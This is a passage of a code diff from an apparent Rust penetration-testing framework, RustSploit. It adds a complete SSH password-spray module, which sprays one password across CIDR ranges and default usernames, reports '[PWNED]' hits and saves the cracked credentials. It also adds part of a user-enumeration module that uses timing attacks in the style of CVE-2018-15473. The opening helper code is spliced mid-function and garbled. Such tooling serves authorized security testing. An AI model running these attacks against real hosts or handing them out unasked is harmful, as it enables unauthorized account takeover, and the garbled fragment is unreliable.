.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
formatted
|
||||
.to_socket_addrs()
|
||||
.map_err(|e| anyhow!("Could not resolve '{}': {}", formatted, e))?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Could not resolve '{}'", formatted))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
fn prompt_existing_file(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
let candidate = prompt_required(msg)?;
|
||||
if Path::new(&candidate).is_file() {
|
||||
return Ok(candidate);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", candidate).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
|
||||
.map(|s_cow| s_cow.into_owned())
|
||||
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
|
||||
|
||||
PathBuf::from(format!("./{}", path_candidate))
|
||||
let join_result = timeout(timeout_duration, handle)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Connection timeout"))?;
|
||||
|
||||
join_result.map_err(|e| anyhow!("Join error: {}", e))?
|
||||
}
|
||||
|
||||
@@ -0,0 +1,490 @@
|
||||
//! SSH Password Spray Module
|
||||
//!
|
||||
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
|
||||
//! Useful for avoiding account lockouts while testing common passwords.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use crate::utils::prompt_port;
|
||||
|
||||
use anyhow::Context;
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_THREADS: usize = 20;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH Password Spray ║".cyan());
|
||||
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Benefits: ║".cyan());
|
||||
println!("{}", "║ - Avoids account lockouts ║".cyan());
|
||||
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
|
||||
println!("{}", "║ - Efficient for large network assessments ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful: AtomicU64,
|
||||
failed: AtomicU64,
|
||||
errors: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful: AtomicU64::new(0),
|
||||
failed: AtomicU64::new(0),
|
||||
errors: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.errors.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful.load(Ordering::Relaxed);
|
||||
let failed = self.failed.load(Ordering::Relaxed);
|
||||
let errors = self.errors.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_summary(&self) {
|
||||
println!();
|
||||
println!("{}", "=== Spray Summary ===".cyan().bold());
|
||||
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
|
||||
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
|
||||
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
|
||||
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
|
||||
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
|
||||
}
|
||||
}
|
||||
|
||||
/// Credential result
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct SprayResult {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
/// Try SSH authentication
|
||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
)?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
|
||||
match sess.userauth_password(username, password) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
|
||||
let mut targets = Vec::new();
|
||||
|
||||
for s in spec.split(&[',', ' ', '\n'][..]) {
|
||||
let s = s.trim();
|
||||
if s.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try CIDR
|
||||
if s.contains('/') {
|
||||
if let Ok(network) = s.parse::<IpNetwork>() {
|
||||
for ip in network.iter().take(65536) {
|
||||
targets.push((ip.to_string(), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
// Try IP range (e.g., 192.168.1.1-254)
|
||||
if s.contains('-') && s.contains('.') {
|
||||
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
|
||||
if parts.len() == 2 {
|
||||
if let Some((start_str, end_str)) = parts[0].split_once('-') {
|
||||
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
|
||||
let base = parts[1];
|
||||
for i in start..=end {
|
||||
targets.push((format!("{}.{}", base, i), port));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Single IP/hostname
|
||||
targets.push((s.to_string(), port));
|
||||
}
|
||||
|
||||
targets
|
||||
}
|
||||
|
||||
/// Load list from file
|
||||
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let items: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(items)
|
||||
}
|
||||
|
||||
/// Main spray function
|
||||
pub async fn password_spray(
|
||||
targets: Vec<(String, u16)>,
|
||||
usernames: &[String],
|
||||
password: &str,
|
||||
threads: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Vec<SprayResult> {
|
||||
let total = targets.len() * usernames.len();
|
||||
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
|
||||
password, targets.len(), usernames.len(), total).cyan());
|
||||
|
||||
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
// Progress reporter
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Spray tasks
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for (host, port) in targets {
|
||||
for user in usernames {
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
let host = host.clone();
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = password.clone();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
|
||||
}).await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
stats.record_attempt(true, false);
|
||||
let cred = SprayResult {
|
||||
host: host.clone(),
|
||||
port,
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
results.lock().await.push(cred);
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
}
|
||||
_ => {
|
||||
stats.record_attempt(false, true);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
|
||||
writeln!(file, "# SSH Password Spray Results")?;
|
||||
writeln!(file, "# Generated by RustSploit")?;
|
||||
writeln!(file, "# Total: {} credentials found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to spray
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "administrator", "ubuntu",
|
||||
"guest", "test", "oracle", "postgres", "mysql",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get password to spray
|
||||
let password = prompt("Password to spray").await?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
|
||||
|
||||
// Get targets
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Add initial target
|
||||
let host = normalize_target(target);
|
||||
if !host.is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
targets.extend(parse_targets(&host, port));
|
||||
}
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)").await?;
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let file_path = prompt("File path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
for t in file_targets {
|
||||
targets.extend(parse_targets(&t, port));
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate targets
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false)? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
// Run spray
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "ssh_spray_results.txt")?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,310 @@
|
||||
//! SSH User Enumeration Module (Timing Attack)
|
||||
//!
|
||||
//! Based on SSHPWN framework - enumerates valid users via timing attack.
|
||||
//! Inspired by CVE-2018-15473 style attacks.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use crate::utils::prompt_port;
|
||||
|
||||
use anyhow::Context;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_SAMPLES: usize = 3;
|
||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
|
||||
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ How it works: ║".cyan());
|
||||
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
|
||||
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
|
||||
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication with invalid password
|
||||
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
|
||||
let _ = sess.userauth_password(username, &invalid_password);
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// Sample authentication timing for a username
|
||||
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
|
||||
let mut times = Vec::new();
|
||||
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||
times.push(t);
|
||||
}
|
||||
// Small delay between samples
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if times.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Return average
|
||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
||||
}
|
||||
|
||||
/// Load usernames from file
|
||||
fn load_usernames(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let usernames: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(usernames)
|
||||
}
|
||||
|
||||
/// Enumerate valid users via timing attack
|
||||
pub async fn enumerate_users(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
|
||||
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
|
||||
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
|
||||
println!();
|
||||
|
||||
// Establish baseline with known-invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
t
|
||||
}
|
||||
None => {
|
||||
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
for (i, user) in usernames.iter().enumerate() {
|
||||
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
let diff = t - baseline;
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
// Connection failed, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Results ===".cyan().bold());
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
valid_users
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to test
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get parameters
|
||||
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false)? {
|
||||
let file_path = prompt("Username file path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_usernames(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
